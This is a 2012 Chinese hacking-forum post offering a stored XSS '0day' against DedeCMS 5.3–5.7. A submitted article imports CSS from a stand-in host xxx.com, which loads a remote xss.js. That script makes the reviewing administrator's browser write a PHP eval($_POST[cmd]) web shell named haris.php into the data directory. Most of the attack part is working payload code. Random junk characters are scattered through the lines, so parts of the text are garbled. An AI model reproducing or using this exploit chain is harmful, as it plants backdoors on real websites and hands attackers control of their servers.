找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1735|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell; ^, l0 x. d& P+ g; j; ?
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)' r5 `$ b7 R* ?; n4 g9 P
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
2 }: _  g. z' ~& c下面说说利用方法。
( P  v$ \5 W8 |- C# ?% R8 M; |条件有2个:) p# W& c7 d& K, P6 s
1.开启注册
: [* I( j1 s6 L0 P( A2.开启投稿1 T. Q5 [3 K$ N0 F3 H6 i- }- v/ e2 A
注册会员----发表文章( {0 i; u. ?6 O1 L5 g  ~4 @" H
内容填写:- c2 s2 d( @& N; _
复制代码8 Y' a. s  ]; V& f: z- E9 ?5 [
<style>@im\port'\http://xxx.com/xss.css';</style>
) e8 D- {8 A' F0 z$ `新建XSS.Css
; K/ m& p* k  _( B) T, Y& r' }! Y复制代码
. B- Q& j5 D6 g+ H$ V2 Q1 Q7 g& B.body{
. C+ c" S1 F3 v8 ibackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }) G/ i2 K5 k9 n/ S3 R  A
新建xss.js 内容为( D# o6 `5 [9 b$ _" v
复制代码
1 R2 F3 y) N, {+ K1.var request = false;& s$ n: f" P0 k2 }
2.if(window.XMLHttpRequest) {
! i4 h9 h' a: D4 A3.request = new XMLHttpRequest();
2 t9 W4 o; K" w9 z4.if(request.overrideMimeType) {4 Q0 H% @0 e& g! Y
5.request.overrideMimeType('text/xml');
3 X4 q6 E9 z* X) C  ~+ R# P, e6.}
( F) |4 G0 ^2 w0 g7.} else if(window.ActiveXObject) {
& m9 k3 h( ?& ~  ?, b3 q8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, r4 c& B: V- r/ B* f# O9.for(var i=0; i<versions.length; i++) {
+ G3 e, B; _& t) Y: D10.try {; {" F. J/ I/ ?8 b
11.request = new ActiveXObject(versions);0 j0 C  ^, t, c  R6 i  ]
12.} catch(e) {}2 A- s. u* |9 q( S" y9 [
13.}
3 ^5 I; s$ f; y9 L3 K% x% _14.}3 |' }* w8 T4 q& e+ ~3 i# H
15.xmlhttp=request;
! R9 u) t1 I$ }8 `8 O16.function getFolder( url ){
: i* ?7 f7 j; u9 t) D17. obj = url.split('/'). h! o! {! A# q: x/ y; z
18. return obj[obj.length-2]) A$ p: ]- D# F* J& y5 Q+ U6 |6 ?
19.}
5 k9 i9 D( M' ?5 N! {3 I. t$ P8 H20.oUrl = top.location.href;2 ^* O; ^6 F0 a, S: t7 u( e
21.u = getFolder(oUrl);
& s2 j6 L5 x  A) X; V9 X22.add_admin();
7 G* R% |" R& `* K3 m2 t4 f23.function add_admin(){( P' F% n, O5 A
24.var url= "/"+u+"/sys_sql_query.php";: ~1 A. q9 q4 A
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";6 E; ?, {+ P6 e! \$ r
26.xmlhttp.open("POST", url, true);6 I" w3 g1 R1 K- j' |4 q& R0 z* C
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");( F6 E/ e' o4 t/ z+ l
28.xmlhttp.setRequestHeader("Content-length", params.length);
" h" x1 U) g) G2 n1 [! ?29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
/ D/ c% }0 `7 G8 O7 f4 W) X30.xmlhttp.send(params);& R# J0 _; |# W3 l
31.}8 ?$ l+ G. a" s/ Z1 m
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表